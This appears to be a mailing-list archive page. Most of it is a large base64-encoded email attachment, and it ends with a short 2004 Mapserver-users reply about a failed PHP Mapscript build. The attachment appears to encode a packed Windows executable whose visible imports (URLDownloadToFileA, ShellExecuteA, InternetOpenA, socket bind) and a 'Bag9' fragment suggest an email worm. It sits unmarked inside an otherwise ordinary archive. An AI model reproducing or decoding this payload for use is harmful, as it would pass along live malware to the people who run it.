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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAGAAAIAAAAAA AAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAFAAAACk8AAA6AIAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAABAAEAAAB4AACAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA kPMAABQAAAAAAAAAAAAAAKDAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A /wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3 d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////// //////////////////////////////////////////////////////////////////////// ////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//////// //////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1 AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA 2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAAeGjHa16Dg7MGxxBT uVFnmVCEO7wrGGyitJRckzAjUl6+In2MtECdtmpbpBGGYpWFUHKwb1DGbiJiU4iovJivU5pJ eou9MKY3nUs4CaQQGn+gfLmikoutrFB0vCUuT6VjdRqPbWkAak4BEnpst3wafCkdH7IeN0tF fXUZSCpRlA8hra9cKMeUIiYkrsEGtyO0SRdrpVSbxk93OHS5hi4cRm29F0JAVzOuaDM7dH87 QQcPQwgBpaV9Gy4xcUg9F1y/cVBWDnZdLl+AJF2jwBdQIxJzLL+3bCxeGU2/nImdFRECFxam jo1APZMLSHnBt6SRUScJrEZQxY5dnQUnsaNsRVu7rnoPEHKchiVBJMKPExkjXqtDFrhoM2o4 NUiVBDcCc18uUk5Esj0SGh2zmjItY2W6MI67UQ2mkqituw6JESFpEmuubj6XO6Efr3q2pRtf QS1uI8JBLq+ERyMviY0DiSVZELFtYyNVZFl0lYVjoqqTEjtCSXUmwh4COiTCJ5KyBFpQW1AB E56BU8UrfjiJXVqlmxFZSi+ZsV4vwEqwd5ygoI28DDUBlZ56qDUfG5qOLzEuPyEwk36AjQq3 RgCDdzcbxhhFF2uhHGt7kyE4fJVhL2VIj7x/XWooaqB5u7JhpwlCbV7For2MpZHAkVikcSSO GUMnjLVJqLMcWJDBBr9oo4CNQDFYYh9FZW4FZaGDEzxWbFZvNUZEuLSJDE1dDCR+ipJHHcBD jaFupD22a5SsEK6FWaosLLodrDArPQQ/IbU5cp+nlgAQEi2GWS4Ne65OoXmii5N7Qy+emLcB HiKyBzgOFxNjxzVNrSFgjE8lD4RbbzunpXIqoXKOtbWhYrtIKy0OiEyqHrghiCYBFIITolYS m3AfKGFQi2e8xmKkVmtOUHi0x7IlDTV7KkGnd386rShed2OgusFeMUWhDQFIbV1OYUpsQRJR cK9arCFfPcNfiy+nlQZjlBybGnu7N3RgTSaOiiuKTi+flLdUrT0gkWJxa6tIx4IrFFd5kQsc J8MroV1FaYBwODYVAaK+kzpgKklELIhJjUZWs2svc4ulvKNiJaulJmxTCAIvqxN5BKN9Xou/ QIGBDMBwd2A1xnK5ZadNMZg4fY0QQXsikXxHHBVPw7IKdRZGCW01qbpHKLpRHsFISa+FD2pY gKlcgYcTgxIDUaCCuUpycEDFYnRiFDt6RUZala8FDlZHqY6nPGqMwyGTMHO1EpKvM4g3vGiE UMUubKSTUj5mToSaaZB9WjuHV2FWNHZLs7t6nXZXMz11fLYTVSemfWKRuHRPurtBub10MYUS cEYqAa5PfsQNK6FogQOUT0FnnlQaPm8fmmIPm6ADI8AyGzMxKsGlND9/ ----------eggzxrvbfodaweecueyb-- From eric at gomoos.org Thu Jun 3 06:25:03 2004 From: eric at gomoos.org (Eric Bridger) Date: 03 Jun 2004 09:25:03 -0400 Subject: [Mapserver-users] Installation Problem In-Reply-To: <20040603083319.31331.qmail@web12308.mail.yahoo.com> References: <20040603083319.31331.qmail@web12308.mail.yahoo.com> Message-ID: <1086269108.1780.8.camel@ubet.gomoos.org> On Thu, 2004-06-03 at 04:33, Andrea Rossi wrote: > Hello > I am trying to install Mapserver 4.2.0 on RedHat9. > I have a server Apache 2 and I use PHP 4.3.6 > > I try to configure > > ./configure --without-tiff --without-eppl > --with-threads --with-proj > --with-gdal=/usr/local/bin/gdal-config --with-ogr > --with-php=/usr/local/include/php/main > --with-gd=/usr/local --with-freetype=/usr/bin > --with-pdf --with-ming --with-wmsclient --with-wfs > --with-wfsclient > > and everything seems ok, but when I launch the make > command, I have the problem: > > make[1]: Entering directory > `/usr/local/src/mapserver-4.2.0/mapscript/php3' > gcc -fPIC -O2 -Wall -DCOMPILE_DL=1 -DPHP4 > -DUSE_WMS_LYR -DUSE_WFS_LYR -DUSE_WFS_SVR > -DUSE_WMS_SVR -DUSE_MING_FLASH -DUSE_GDAL > -DUSE_OGR -DUSE_THREAD -DUSE_PROJ -DUSE_PROJ_API_H > -DUSE_PDF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP > -DUSE_GD_FT -I/usr/local/src/mapserver-4.2.0 > -I/usr/local/include -I/usr/local/include > -I/usr/local/include -I/usr/local/include/php/main > -I/usr/local/include/php/main/dl > -I/usr/local/include/php/main/main > -I/usr/local/include/php/main/Zend > -I/usr/local/include/php/main/include > -I/usr/local/include/php/main/TSRM -c -o > php_mapscript_util.o php_mapscript_util.c > In file included from php_mapscript_util.h:61, > from php_mapscript_util.c:104: > /usr/local/include/php/main/php.h:34:18: zend.h: No > such file or directory > ... Even though we are running FreeBSD 4.8 this sounds suspiciously like a problem we ran into just yesterday attempting to compile PHP Mapscript (Mapserver4.2.0). 